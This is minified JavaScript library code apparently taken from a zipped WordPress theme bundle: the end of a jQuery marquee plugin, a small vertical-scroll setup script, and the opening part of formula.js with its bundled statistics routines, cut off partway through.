v=a.find(".js-marquee:first").height()+i.gap;if(i.startVisible&&!i.duplicated){i._completeDuration=(parseInt(v,10)+parseInt(y,10))/parseInt(y,10)*i.duration;i.duration=parseInt(v,10)/parseInt(y,10)*i.duration}else{i.duration=(parseInt(v,10)+parseInt(y,10))/parseInt(y,10)*i.duration}}else{u=a.find(".js-marquee:first").width()+i.gap;n=a.width();if(i.startVisible&&!i.duplicated){i._completeDuration=(parseInt(u,10)+parseInt(n,10))/parseInt(n,10)*i.duration;i.duration=parseInt(u,10)/parseInt(n,10)*i.duration}else{i.duration=(parseInt(u,10)+parseInt(n,10))/parseInt(n,10)*i.duration}}if(i.duplicated){i.duration=i.duration/2}if(i.allowCss3Support){var x=document.body||document.createElement("div"),I="marqueeAnimation-"+Math.floor(Math.random()*1e7),w="Webkit Moz O ms Khtml".split(" "),S="animation",b="",q="";if(x.style.animation!==undefined){q="@keyframes "+I+" ";d=true}if(d===false){for(var j=0;j<w.length;j++){if(x.style[w[j]+"AnimationName"]!==undefined){var C="-"+w[j].toLowerCase()+"-";S=C+S;e=C+e;q="@"+C+"keyframes "+I+" ";d=true;break}}}if(d){b=I+" "+i.duration/1e3+"s "+i.delayBeforeStart/1e3+"s infinite "+i.css3easing;a.data("css3AnimationIsSupported",true)}}var V=function(){r.css("transform","translateY("+(i.direction==="up"?y+"px":"-"+v+"px")+")")},k=function(){r.css("transform","translateX("+(i.direction==="left"?n+"px":"-"+u+"px")+")")};if(i.duplicated){if(o){if(i.startVisible){r.css("transform","translateY(0)")}else{r.css("transform","translateY("+(i.direction==="up"?y+"px":"-"+(v*2-i.gap)+"px")+")")}}else{if(i.startVisible){r.css("transform","translateX(0)")}else{r.css("transform","translateX("+(i.direction==="left"?n+"px":"-"+(u*2-i.gap)+"px")+")")}}if(!i.startVisible){f=1}}else if(i.startVisible){f=2}else{if(o){V()}else{k()}}var A=function(){if(i.duplicated){if(f===1){i._originalDuration=i.duration;if(o){i.duration=i.direction==="up"?i.duration+y/(v/i.duration):i.duration*2}else{i.duration=i.direction==="left"?i.duration+n/(u/i.duration):i.duration*2}if(b){b=I+" "+i.duration/1e3+"s "+i.delayBeforeStart/1e3+"s "+i.css3easing}f++}else if(f===2){i.duration=i._originalDuration;if(b){I=I+"0";q=X.trim(q)+"0 ";b=I+" "+i.duration/1e3+"s 0s infinite "+i.css3easing}f++}}if(o){if(i.duplicated){if(f>2){r.css("transform","translateY("+(i.direction==="up"?0:"-"+v+"px")+")")}s={transform:"translateY("+(i.direction==="up"?"-"+v+"px":0)+")"}}else if(i.startVisible){if(f===2){if(b){b=I+" "+i.duration/1e3+"s "+i.delayBeforeStart/1e3+"s "+i.css3easing}s={transform:"translateY("+(i.direction==="up"?"-"+v+"px":y+"px")+")"};f++}else if(f===3){i.duration=i._completeDuration;if(b){I=I+"0";q=X.trim(q)+"0 ";b=I+" "+i.duration/1e3+"s 0s infinite "+i.css3easing}V()}}else{V();s={transform:"translateY("+(i.direction==="up"?"-"+r.height()+"px":y+"px")+")"}}}else{if(i.duplicated){if(f>2){r.css("transform","translateX("+(i.direction==="left"?0:"-"+u+"px")+")")}s={transform:"translateX("+(i.direction==="left"?"-"+u+"px":0)+")"}}else if(i.startVisible){if(f===2){if(b){b=I+" "+i.duration/1e3+"s "+i.delayBeforeStart/1e3+"s "+i.css3easing}s={transform:"translateX("+(i.direction==="left"?"-"+u+"px":n+"px")+")"};f++}else if(f===3){i.duration=i._completeDuration;if(b){I=I+"0";q=X.trim(q)+"0 ";b=I+" "+i.duration/1e3+"s 0s infinite "+i.css3easing}k()}}else{k();s={transform:"translateX("+(i.direction==="left"?"-"+u+"px":n+"px")+")"}}}a.trigger("beforeStarting");if(d){r.css(S,b);var e=q+" { 100%  "+p(s)+"}",t=r.find("style");if(t.length!==0){t.filter(":last").html(e)}else{X("head").append("<style>"+e+"</style>")}l(r[0],"AnimationIteration",function(){a.trigger("finished")});l(r[0],"AnimationEnd",function(){A();a.trigger("finished")})}else{r.animate(s,i.duration,i.easing,function(){a.trigger("finished");if(i.pauseOnCycle){c()}else{A()}})}a.data("runningStatus","resumed")};a.on("pause",t.pause);a.on("resume",t.resume);if(i.pauseOnHover){a.on("mouseenter",t.pause);a.on("mouseleave",t.resume)}if(d&&i.allowCss3Support){A()}else{c()}})};X.fn.marquee.defaults={allowCss3Support:true,css3easing:"linear",easing:"linear",delayBeforeStart:1e3,direction:"left",duplicated:false,duplicateCount:1,duration:5e3,speed:0,gap:20,pauseOnCycle:false,pauseOnHover:false,startVisible:false}});
(function ($) {
    'use strict';
    $('.penci-vscroll').each(function () {
        var t = $(this),
            s = t.data('vscroll-speed'),
            z = t.data('vscroll-spacing');
        t.marquee({
            duration: s ? s : 5000,
            direction: 'up',
            duplicated: true,
            gap: z ? z : 0,
            startVisible: true,
            pauseOnHover: true,
        });
    });
})(jQuery);PK     N\% %   js/formula.min.jsnu [        /* @formulajs/formulajs v4.5.1 */
function _toConsumableArray(r){return _arrayWithoutHoles(r)||_iterableToArray(r)||_unsupportedIterableToArray(r)||_nonIterableSpread()}function _nonIterableSpread(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}function _unsupportedIterableToArray(r,n){if(r){if("string"==typeof r)return _arrayLikeToArray(r,n);var t={}.toString.call(r).slice(8,-1);return"Object"===t&&r.constructor&&(t=r.constructor.name),"Map"===t||"Set"===t?Array.from(r):"Arguments"===t||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(t)?_arrayLikeToArray(r,n):void 0}}function _iterableToArray(r){if("undefined"!=typeof Symbol&&null!=r[Symbol.iterator]||null!=r["@@iterator"])return Array.from(r)}function _arrayWithoutHoles(r){if(Array.isArray(r))return _arrayLikeToArray(r)}function _arrayLikeToArray(r,n){(null==n||n>r.length)&&(n=r.length);for(var t=0,e=Array(n);t<n;t++)e[t]=r[t];return e}function _typeof(r){return _typeof="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(r){return typeof r}:function(r){return r&&"function"==typeof Symbol&&r.constructor===Symbol&&r!==Symbol.prototype?"symbol":typeof r},_typeof(r)}!function(r,n){"object"===("undefined"==typeof exports?"undefined":_typeof(exports))&&"undefined"!=typeof module?n(exports):"function"==typeof define&&define.amd?define(["exports"],n):n((r="undefined"!=typeof globalThis?globalThis:r||self).formulajs={})}(this,(function(r){"use strict";var n=new Error("#NULL!"),t=new Error("#DIV/0!"),e=new Error("#VALUE!"),o=new Error("#REF!"),a=new Error("#NAME?"),u=new Error("#NUM!"),i=new Error("#N/A"),f=new Error("#ERROR!"),c=new Error("#GETTING_DATA"),l=Object.freeze({__proto__:null,data:c,div0:t,error:f,na:i,name:a,nil:n,num:u,ref:o,value:e}),s=!1,h=new Date(Date.UTC(1900,0,1));function g(r){r<60&&(r+=1);var n=Math.floor(r-25569),t=new Date(1e3*(86400*n)),e=r-Math.floor(r)+1e-7,o=Math.floor(86400*e),a=o%60;o-=a;var u=Math.floor(o/3600),i=Math.floor(o/60)%60,f=t.getUTCDate(),c=t.getUTCMonth();return r>=60&&r<61&&(f=29,c=1),new Date(t.getUTCFullYear(),c,f,u,i,a)}function v(r){var n=r>-22038912e5?2:1;return Math.ceil((r-h)/864e5)+n}var p=Object.freeze({__proto__:null,dateToSerial:v,get returnSerial(){return s},serialToDate:g,useDate:function(){s=!1},useSerial:function(){s=!0}}),m=[">",">=","<","<=","=","<>"],d="operator",M="literal",y=[d,M],E=d,N=M;function b(r,n){if(-1===y.indexOf(n))throw new Error("Unsupported token type: "+n);return{value:r,type:n}}function I(r){for(var n="",t=[],e=0;e<r.length;e++){var o=r[e];0===e&&m.indexOf(o)>=0?t.push(b(o,E)):n+=o}return n.length>0&&t.push(b(function(r){return"string"!=typeof r||/^\d+(\.\d+)?$/.test(r)&&(r=-1===r.indexOf(".")?parseInt(r,10):parseFloat(r)),r}(n),N)),t.length>0&&t[0].type!==E&&t.unshift(b("=",E)),t}function w(r){return I(function(r){for(var n=r.length,t=[],e=0,o="",a="";e<n;){var u=r.charAt(e);switch(u){case">":case"<":case"=":a+=u,o.length>0&&(t.push(o),o="");break;default:a.length>0&&(t.push(a),a=""),o+=u}e++}return o.length>0&&t.push(o),a.length>0&&t.push(a),t}(r))}var S=function(r){for(var n,t=[],e=0;e<r.length;e++){var o=r[e];switch(o.type){case E:n=o.value;break;case N:t.push(o.value)}}return function(r,n){var t=!1;switch(n){case">":t=r[0]>r[1];break;case">=":t=r[0]>=r[1];break;case"<":t=r[0]<r[1];break;case"<=":t=r[0]<=r[1];break;case"=":t=r[0]==r[1];break;case"<>":t=r[0]!=r[1]}return t}(t,n)};function T(r){var n=[];return A(r,(function(r){n.push(r)})),n}function A(r,n){for(var t=-1,e=r.length;++t<e&&!1!==n(r[t],t,r););return r}function x(r){for(var n,t=r.length;t--;)if("number"!=typeof(n=r[t]))if(!0!==n)if(!1!==n){if("string"==typeof n){var e=j(n);r[t]=e instanceof Error?0:e}}else r[t]=0;else r[t]=1;return r}function D(r,n){if(!r)return e;r.every((function(r){return Array.isArray(r)}))&&0!==r.length||(r=[_toConsumableArray(r)]),r.map((function(n,t){n.map((function(n,e){n||(r[t][e]=0)}))}));var t=r.reduce((function(n,t,e){return t.length>r[n].length?e:n}),0),o=r[t].length;return r.map((function(r){return[].concat(_toConsumableArray(r),_toConsumableArray(Array(o-r.length).fill(0)))}))}function C(){var r,n;if(1===arguments.length){var t=arguments[0];r=null!=(n=t)&&"number"==typeof n.length&&"string"!=typeof n?T.apply(null,arguments):[t]}else r=Array.from(arguments);for(;!O(r);)r=R(r);return r}function R(r){return r&&r.reduce?r.reduce((function(r,n){var t=Array.isArray(r),e=Array.isArray(n);return t&&e?r.concat(n):t?(r.push(n),r):e?[r].concat(n):[r,n]})):[r]}function O(r){if(!r)return!1;for(var n=0;n<r.length;++n)if(Array.isArray(r[n]))return!1;return!0}function P(r,n){return n=n||1,r&&"function"==typeof r.slice?r.slice(n):r}function L(r){return r?r[0].map((function(n,t){return r.map((function(r){return r[t]}))})):e}function _(r,n){var t=null;return A(r,(function(r,e){if(r[0]===n)return t=e,!1})),null==t?e:t}function q(){for(var r=0;r<arguments.length;r++)if(arguments[r]instanceof Error)return arguments[r]}function F(){for(var r=arguments.length;r--;)if(arguments[r]instanceof Error)return!0;return!1}function U(r){var n=1e14;return Math.round(r*n)/n}function V(){return C.apply(null,arguments).filter((function(r){return"number"==typeof r}))}function k(r){if("boolean"==typeof r)return r;if(r instanceof Error)return r;if("number"==typeof r)return 0!==r;if("string"==typeof r){var n=r.toUpperCase();if("TRUE"===n)return!0;if("FALSE"===n)return!1}return r instanceof Date&&!isNaN(r)||e}function G(r){if(!isNaN(r)){if(r instanceof Date)return new Date(r);var n=parseFloat(r);return n<0||n>=2958466?u:g(n)}return"string"!=typeof r||(r=/(\d{4})-(\d\d?)-(\d\d?)$/.test(r)?new Date(r+"T00:00:00.000"):new Date(r),isNaN(r))?e:r}function X(r){for(var n,t=r.length;t--;){if((n=G(r[t]))===e)return n;r[t]=n}return r}function j(r){return r instanceof Error?r:null==r?0:("boolean"==typeof r&&(r=+r),isNaN(r)||""===r?e:parseFloat(r))}function H(r){var n,t;if(!r||0===(n=r.length))return e;for(;n--;){if(r[n]instanceof Error)return r[n];if((t=j(r[n]))instanceof Error)return t;r[n]=t}return r}function Y(r){return r instanceof Error?r:null==r?"":r.toString()}function B(){for(var r=arguments.length;r--;)if("string"==typeof arguments[r])return!0;return!1}function z(){var r=T(arguments),n=H(C(r.shift()));if(n instanceof Error)return n;for(var t=r,e=t.length/2,o=0;o<e;o++)t[2*o]=C(t[2*o]);for(var a=[],u=0;u<n.length;u++){for(var i=!1,f=0;f<e;f++){var c=t[2*f][u],l=t[2*f+1],s=!1;if(void 0===l||"*"===l)s=!0;else{var h=w(l+""),g=[b(c,N)].concat(h);s=S(g)}if(!s){i=!1;break}i=!0}i&&a.push(n[u])}return a}function W(r){return null!=r}var K={};function $(r){return[e,o,t,u,a,n].indexOf(r)>=0||"number"==typeof r&&(isNaN(r)||!isFinite(r))}function Q(r){return $(r)||r===i}function Z(r){return!0===r||!1===r}function J(r){return"number"==typeof r&&!isNaN(r)&&isFinite(r)}function rr(r){return"string"==typeof r}function nr(r){return r&&r.__esModule&&Object.prototype.hasOwnProperty.call(r,"default")?r.default:r}K.TYPE=function(r){switch(r){case n:return 1;case t:return 2;case e:return 3;case o:return 4;case a:return 5;case u:return 6;case i:return 7;case c:return 8}return i};var tr,er={exports:{}};var or=(tr||(tr=1,function(r){r.exports=function(){var r=function(r,n){var t=Array.prototype.concat,e=Array.prototype.slice,o=Object.prototype.toString;function a(n,t){var e=n>t?n:t;return r.pow(10,17-~~(r.log(e>0?e:-e)*r.LOG10E))}var u=Array.isArray||function(r){return"[object Array]"===o.call(r)};function i(r){return"[object Function]"===o.call(r)}function f(r){return"number"==typeof r&&r-r==0}function c(r){return t.apply([],r)}function l(){return new l._init(arguments)}function s(){return 0}function h(){return 1}function g(r,n){return r===n?1:0}l.fn=l.prototype,l._init=function(r){if(u(r[0]))if(u(r[0][0])){i(r[1])&&(r[0]=l.map(r[0],r[1]));for(var n=0;n<r[0].length;n++)this[n]=r[0][n];this.length=r[0].length}else this[0]=i(r[1])?l.map(r[0],r[1]):r[0],this.length=1;else if(f(r[0]))this[0]=l.seq.apply(null,r),this.length=1;else{if(r[0]instanceof l)return l(r[0].toArray());this[0]=[],this.length=1}return this},l._init.prototype=l.prototype,l._init.constructor=l,l.utils={calcRdx:a,isArray:u,isFunction:i,isNumber:f,toVector:c},l._random_fn=r.random,l.setRandom=function(r){if("function"!=typeof r)throw new TypeError("fn is not a function");l._random_fn=r},l.extend=function(r){var n,t;if(1===arguments.length){for(t in r)l[t]=r[t];return this}for(n=1;n<arguments.length;n++)for(t in arguments[n])r[t]=arguments[n][t];return r},l.rows=function(r){return r.length||1},l.cols=function(r){return r[0].length||1},l.dimensions=function(r){return{rows:l.rows(r),cols:l.cols(r)}},l.row=function(r,n){return u(n)?n.map((function(n){return l.row(r,n)})):r[n]},l.rowa=function(r,n){return l.row(r,n)},l.col=function(r,n){if(u(n)){var t=l.arange(r.length).map((function(){return new Array(n.length)}));return n.forEach((function(n,e){l.arange(r.length).forEach((function(o){t[o][e]=r[o][n]}))})),t}for(var e=new Array(r.length),o=0;o<r.length;o++)e[o]=[r[o][n]];return e},l.cola=function(r,n){return l.col(r,n).map((function(r){return r[0]}))},l.diag=function(r){for(var n=l.rows(r),t=new Array(n),e=0;e<n;e++)t[e]=[r[e][e]];return t},l.antidiag=function(r){for(var n=l.rows(r)-1,t=new Array(n),e=0;n>=0;n--,e++)t[e]=[r[e][n]];return t},l.transpose=function(r){var n,t,e,o,a,i=[];for(u(r[0])||(r=[r]),t=r.length,e=r[0].length,a=0;a<e;a++){for(n=new Array(t),o=0;o<t;o++)n[o]=r[o][a];i.push(n)}return 1===i.length?i[0]:i},l.map=function(r,n,t){var e,o,a,i,f;for(u(r[0])||(r=[r]),o=r.length,a=r[0].length,i=t?r:new Array(o),e=0;e<o;e++)for(i[e]||(i[e]=new Array(a)),f=0;f<a;f++)i[e][f]=n(r[e][f],e,f);return 1===i.length?i[0]:i},l.cumreduce=function(r,n,t){var e,o,a,i,f;for(u(r[0])||(r=[r]),o=r.length,a=r[0].length,i=t?r:new Array(o),e=0;e<o;e++)for(i[e]||(i[e]=new Array(a)),a>0&&(i[e][0]=r[e][0]),f=1;f<a;f++)i[e][f]=n(i[e][f-1],r[e][f]);return 1===i.length?i[0]:i},l.alter=function(r,n){return l.map(r,n,!0)},l.create=function(r,n,t){var e,o,a=new Array(r);for(i(n)&&(t=n,n=r),e=0;e<r;e++)for(a[e]=new Array(n),o=0;o<n;o++)a[e][o]=t(e,o);return a},l.zeros=function(r,n){return f(n)||(n=r),l.create(r,n,s)},l.ones=function(r,n){return f(n)||(n=r),l.create(r,n,h)},l.rand=function(r,n){return f(n)||(n=r),l.create(r,n,l._random_fn)},l.identity=function(r,n){return f(n)||(n=r),l.create(r,n,g)},l.symmetric=function(r){var n,t,e=r.length;if(r.length!==r[0].length)return!1;for(n=0;n<e;n++)for(t=0;t<e;t++)if(r[t][n]!==r[n][t])return!1;return!0},l.clear=function(r){return l.alter(r,s)},l.seq=function(r,n,t,e){i(e)||(e=!1);var o,u=[],f=a(r,n),c=(n*f-r*f)/((t-1)*f),l=r;for(o=0;l<=n&&o<t;l=(r*f+c*f*++o)/f)u.push(e?e(l,o):l);return u},l.arange=function(r,t,e){var o,a=[];if(e=e||1,t===n&&(t=r,r=0),r===t||0===e)return[];if(r<t&&e<0)return[];if(r>t&&e>0)return[];if(e>0)for(o=r;o<t;o+=e)a.push(o);else for(o=r;o>t;o+=e)a.push(o);return a},l.slice=function(){function r(r,t,e,o){var a,u=[],i=r.length;if(t===n&&e===n&&o===n)return l.copy(r);if(o=o||1,(t=(t=t||0)>=0?t:i+t)===(e=(e=e||r.length)>=0?e:i+e)||0===o)return[];if(t<e&&o<0)return[];if(t>e&&o>0)return[];if(o>0)for(a=t;a<e;a+=o)u.push(r[a]);else for(a=t;a>e;a+=o)u.push(r[a]);return u}function t(n,t){var e,o;return f((t=t||{}).row)?f(t.col)?n[t.row][t.col]:r(l.rowa(n,t.row),(e=t.col||{}).start,e.end,e.step):f(t.col)?r(l.cola(n,t.col),(o=t.row||{}).start,o.end,o.step):(o=t.row||{},e=t.col||{},r(n,o.start,o.end,o.step).map((function(n){return r(n,e.start,e.end,e.step)})))}return t}(),l.sliceAssign=function(t,e,o){var a,u;if(f(e.row)){if(f(e.col))return t[e.row][e.col]=o;e.col=e.col||{},e.col.start=e.col.start||0,e.col.end=e.col.end||t[0].length,e.col.step=e.col.step||1,a=l.arange(e.col.start,r.min(t.length,e.col.end),e.col.step);var i=e.row;return a.forEach((function(r,n){t[i][r]=o[n]})),t}if(f(e.col)){e.row=e.row||{},e.row.start=e.row.start||0,e.row.end=e.row.end||t.length,e.row.step=e.row.step||1,u=l.arange(e.row.start,r.min(t[0].length,e.row.end),e.row.step);var c=e.col;return u.forEach((function(r,n){t[r][c]=o[n]})),t}return o[0].length===n&&(o=[o]),e.row.start=e.row.start||0,e.row.end=e.row.end||t.length,e.row.step=e.row.step||1,e.col.start=e.col.start||0,e.col.end=e.col.end||t[0].length,e.col.step=e.col.step||1,u=l.arange(e.row.start,r.min(t.length,e.row.end),e.row.step),a=l.arange(e.col.start,r.min(t[0].length,e.col.end),e.col.step),u.forEach((function(r,n){a.forEach((function(e,a){t[r][e]=o[n][a]}))})),t},l.diagonal=function(r){var n=l.zeros(r.length,r.length);return r.forEach((function(r,t){n[t][t]=r})),n},l.copy=function(r){return r.map((function(r){return f(r)?r:r.map((function(r){return r}))}))};var v=l.prototype;return v.length=0,v.push=Array.prototype.push,v.sort=Array.prototype.sort,v.splice=Array.prototype.splice,v.slice=Array.prototype.slice,v.toArray=function(){return this.length>1?e.call(this):e.call(this)[0]},v.map=function(r,n){return l(l.map(this,r,n))},v.cumreduce=function(r,n){return l(l.cumreduce(this,r,n))},v.alter=function(r){return l.alter(this,r),this},function(r){for(var n=0;n<r.length;n++)!function(r){v[r]=function(n){var t,e=this;return n?(setTimeout((function(){n.call(e,v[r].call(e))})),this):(t=l[r](this),u(t)?l(t):t)}}(r[n])}("transpose clear symmetric rows cols dimensions diag antidiag".split(" ")),function(r){for(var n=0;n<r.length;n++)!function(r){v[r]=function(n,t){var e=this;return t?(setTimeout((function(){t.call(e,v[r].call(e,n))})),this):l(l[r](this,n))}}(r[n])}("row col".split(" ")),function(r){for(var n=0;n<r.length;n++)!function(r){v[r]=function(){return l(l[r].apply(null,arguments))}}(r[n])}("create zeros ones rand identity".split(" ")),l}(Math);return function(r,n){var t=r.utils.isFunction;function e(r,n){return r-n}function o(r,t,e){return n.max(t,n.min(r,e))}r.sum=function(r){for(var n=0,t=r.length;--t>=0;)n+=r[t];return n},r.sumsqrd=function(r){for(var n=0,t=r.length;--t>=0;)n+=r[t]*r[t];return n},r.sumsqerr=function(n){for(var t,e=r.mean(n),o=0,a=n.length;--a>=0;)o+=(t=n[a]-e)*t;return o},r.sumrow=function(r){for(var n=0,t=r.length;--t>=0;)n+=r[t];return n},r.product=function(r){for(var n=1,t=r.length;--t>=0;)n*=r[t];return n},r.min=function(r){for(var n=r[0],t=0;++t<r.length;)r[t]<n&&(n=r[t]);return n},r.max=function(r){for(var n=r[0],t=0;++t<r.length;)r[t]>n&&(n=r[t]);return n},r.unique=function(r){for(var n={},t=[],e=0;e<r.length;e++)n[r[e]]||(n[r[e]]=!0,t.push(r[e]));return t},r.mean=function(n){return r.sum(n)/n.length},r.meansqerr=function(n){return r.sumsqerr(n)/n.length},r.geomean=function(t){var e=t.map(n.log),o=r.mean(e);return n.exp(o)},r.median=function(r){var n=r.length,t=r.slice().sort(e);return 1&n?t[n/2|0]:(t[n/2-1]+t[n/2])/2},r.cumsum=function(n){return r.cumreduce(n,(function(r,n){return r+n}))},r.cumprod=function(n){return r.cumreduce(n,(function(r,n){return r*n}))},r.diff=function(r){var n,t=[],e=r.length;for(n=1;n<e;n++)t.push(r[n]-r[n-1]);return t},r.rank=function(r){var n,t=[],o={};for(n=0;n<r.length;n++)o[f=r[n]]?o[f]++:(o[f]=1,t.push(f));var a=t.sort(e),u={},i=1;for(n=0;n<a.length;n++){var f,c=o[f=a[n]],l=(i+(i+c-1))/2;u[f]=l,i+=c}return r.map((function(r){return u[r]}))},r.mode=function(r){var n,t=r.length,o=r.slice().sort(e),a=1,u=0,i=0,f=[];for(n=0;n<t;n++)o[n]===o[n+1]?a++:(a>u?(f=[o[n]],u=a,i=0):a===u&&(f.push(o[n]),i++),a=1);return 0===i?f[0]:f},r.range=function(n){return r.max(n)-r.min(n)},r.variance=function(n,t){return r.sumsqerr(n)/(n.length-(t?1:0))},r.pooledvariance=function(n){return n.reduce((function(n,t){return n+r.sumsqerr(t)}),0)/(n.reduce((function(r,n){return r+n.length}),0)-n.length)},r.deviation=function(n){for(var t=r.mean(n),e=n.length,o=new Array(e),a=0;a<e;a++)o[a]=n[a]-t;return o},r.stdev=function(t,e){return n.sqrt(r.variance(t,e))},r.pooledstdev=function(t){return n.sqrt(r.pooledvariance(t))},r.meandev=function(t){for(var e=r.mean(t),o=[],a=t.length-1;a>=0;a--)o.push(n.abs(t[a]-e));return r.mean(o)},r.meddev=function(t){for(var e=r.median(t),o=[],a=t.length-1;a>=0;a--)o.push(n.abs(t[a]-e));return r.median(o)},r.coeffvar=function(n){return r.stdev(n)/r.mean(n)},r.quartiles=function(r){var t=r.length,o=r.slice().sort(e);return[o[n.round(t/4)-1],o[n.round(t/2)-1],o[n.round(3*t/4)-1]]},r.quantiles=function(r,t,a,u){var i,f,c,l,s,h=r.slice().sort(e),g=[t.length],v=r.length;for(void 0===a&&(a=3/8),void 0===u&&(u=3/8),i=0;i<t.length;i++)c=v*(f=t[i])+(a+f*(1-a-u)),l=n.floor(o(c,1,v-1)),s=o(c-l,0,1),g[i]=(1-s)*h[l-1]+s*h[l];return g},r.percentile=function(r,n,t){var o=r.slice().sort(e),a=n*(o.length+(t?1:-1))+(t?0:1),u=parseInt(a),i=a-u;return u+1<o.length?o[u-1]+i*(o[u]-o[u-1]):o[u-1]},r.percentileOfScore=function(r,n,t){var e,o,a=0,u=r.length,i=!1;for("strict"===t&&(i=!0),o=0;o<u;o++)e=r[o],(i&&e<n||!i&&e<=n)&&a++;return a/u},r.histogram=function(t,e){e=e||4;var o,a=r.min(t),u=(r.max(t)-a)/e,i=t.length,f=[];for(o=0;o<e;o++)f[o]=0;for(o=0;o<i;o++)f[n.min(n.floor((t[o]-a)/u),e-1)]+=1;return f},r.covariance=function(n,t){var e,o=r.mean(n),a=r.mean(t),u=n.length,i=new Array(u);for(e=0;e<u;e++)i[e]=(n[e]-o)*(t[e]-a);return r.sum(i)/(u-1)},r.corrcoeff=function(n,t){return r.covariance(n,t)/r.stdev(n,1)/r.stdev(t,1)},r.spearmancoeff=function(n,t){return n=r.rank(n),t=r.rank(t),r.corrcoeff(n,t)},r.stanMoment=function(t,e){for(var o=r.mean(t),a=r.stdev(t),u=t.length,i=0,f=0;f<u;f++)i+=n.pow((t[f]-o)/a,e);return i/t.length},r.skewness=function(n){return r.stanMoment(n,3)},r.kurtosis=function(n){return r.stanMoment(n,4)-3};var a=r.prototype;!function(n){for(var e=0;e<n.length;e++)!function(n){a[n]=function(e,o){var u=[],i=0,f=this;if(t(e)&&(o=e,e=!1),o)return setTimeout((function(){o.call(f,a[n].call(f,e))})),this;if(this.length>1){for(f=!0===e?this:this.transpose();i<f.length;i++)u[i]=r[n](f[i]);return u}return r[n](this[0],e)}}(n[e])}("cumsum cumprod".split(" ")),function(n){for(var e=0;e<n.length;e++)!function(n){a[n]=function(e,o){var u=[],i=0,f=this;if(t(e)&&(o=e,e=!1),o)return setTimeout((function(){o.call(f,a[n].call(f,e))})),this;if(this.length>1){for("sumrow"!==n&&(f=!0===e?this:this.transpose());i<f.length;i++)u[i]=r[n](f[i]);return!0===e?r[n](r.utils.toVector(u)):u}return r[n](this[0],e)}}(n[e])}("sum sumsqrd sumsqerr sumrow product min max unique mean meansqerr geomean median diff rank mode range variance deviation stdev meandev meddev coeffvar quartiles histogram skewness kurtosis".split(" ")),function(n){for(var e=0;e<n.length;e++)!function(n){a[n]=function(){var e,o=[],u=0,i=this,f=Array.prototype.slice.call(arguments);if(t(f[f.length-1])){e=f[f.length-1];var c=f.slice(0,f.length-1);return setTimeout((function(){e.call(i,a[n].apply(i,c))})),this}e=void 0;var l=function(t){return r[n].apply(i,[t].concat(f))};if(this.length>1){for(i=i.transpose();u<i.length;u++)o[u]=l(i[u]);return o}return l(this[0])}}(n[e])}("quantiles percentileOfScore".split(" "))}(r,Math),function(r,n){r.gammaln=function(r){var t,e,o,a=0,u=[76.18009172947146,-86.50532032941678,24.01409824083091,-1.231739572450155,.001208650973866179,-5395239384953e-18],i=1.000000000190015;for(o=(e=t=r)+5.5,o-=(t+.5)*n.log(o);a<6;a++)i+=u[a]/++e;return n.log(2.5066282746310007*i/t)-o},r.loggam=function(r){var t,e,o,a,u,i,f,c=[.08333333333333333,-.002777777777777778,.0007936507936507937,-.0005952380952380952,.0008417508417508418,-.001917526917526918,.00641025641025641,-.02955065359477124,.1796443723688307,-1.3924322169059];if(t=r,f=0,1==r||2==r)return 0;for(r<=7&&(t=r+(f=n.floor(7-r))),e=1/(t*t),o=2*n.PI,u=c[9],i=8;i>=0;i--)u*=e,u+=c[i];if(a=u/t+.5*n.log(o)+(t-.5)*n.log(t)-t,r<=7)for(i=1;i<=f;i++)a-=n.log(t-1),t-=1;return a},r.gammafn=function(r){var t,e,o,a,u=[-1.716185138865495,24.76565080557592,-379.80425647094563,629.3311553128184,866.9662027904133,-31451.272968848367,-36144.413418691176,66456.14382024054],i=[-30.8402300119739,315.35062697960416,-1015.1563674902192,-3107.771671572311,22538.11842098015,4755.846277527881,-134659.9598649693,-115132.2596755535],f=!1,c=0,l=0,s=0,h=r;if(r>171.6243769536076)return 1/0;if(h<=0){if(!(a=h%1+36e-17))return 1/0;f=(1&h?-1:1)*n.PI/n.sin(n.PI*a),h=1-h}for(o=h,e=h<1?h++:(h-=c=(0|h)-1)-1,t=0;t<8;++t)s=(s+u[t])*e,l=l*e+i[t];if(a=s/l+1,o<h)a/=o;else if(o>h)for(t=0;t<c;++t)a*=h,h++;return f&&(a=f/a),a},r.gammap=function(n,t){return r.lowRegGamma(n,t)*r.gammafn(n)},r.lowRegGamma=function(t,e){var o,a=r.gammaln(t),u=t,i=1/t,f=i,c=e+1-t,l=1/1e-30,s=1/c,h=s,g=1,v=-~(8.5*n.log(t>=1?t:1/t)+.4*t+17);if(e<0||t<=0)return NaN;if(e<t+1){for(;g<=v;g++)i+=f*=e/++u;return i*n.exp(-e+t*n.log(e)-a)}for(;g<=v;g++)h*=(s=1/(s=(o=-g*(g-t))*s+(c+=2)))*(l=c+o/l);return 1-h*n.exp(-e+t*n.log(e)-a)},r.factorialln=function(n){return n<0?NaN:r.gammaln(n+1)},r.factorial=function(n){return n<0?NaN:r.gammafn(n+1)},r.combination=function(t,e){return t>170||e>170?n.exp(r.combinationln(t,e)):r.factorial(t)/r.factorial(e)/r.factorial(t-e)},r.combinationln=function(n,t){return r.factorialln(n)-r.factorialln(t)-r.factorialln(n-t)},r.permutation=function(n,t){return r.factorial(n)/r.factorial(n-t)},r.betafn=function(t,e){if(!(t<=0||e<=0))return t+e>170?n.exp(r.betaln(t,e)):r.gammafn(t)*r.gammafn(e)/r.gammafn(t+e)},r.betaln=function(n,t){return r.gammaln(n)+r.gammaln(t)-r.gammaln(n+t)},r.betacf=function(r,t,e){var o,a,u,i,f=1e-30,c=1,l=t+e,s=t+1,h=t-1,g=1,v=1-l*r/s;for(n.abs(v)<f&&(v=f),i=v=1/v;c<=100&&(v=1+(a=c*(e-c)*r/((h+(o=2*c))*(t+o)))*v,n.abs(v)<f&&(v=f),g=1+a/g,n.abs(g)<f&&(g=f),i*=(v=1/v)*g,v=1+(a=-(t+c)*(l+c)*r/((t+o)*(s+o)))*v,n.abs(v)<f&&(v=f),g=1+a/g,n.abs(g)<f&&(g=f),i*=u=(v=1/v)*g,!(n.abs(u-1)<3e-7));c++);return i},r.gammapinv=function(t,e){var o,a,u,i,f,c,l=0,s=e-1,h=1e-8,g=r.gammaln(e);if(t>=1)return n.max(100,e+100*n.sqrt(e));if(t<=0)return 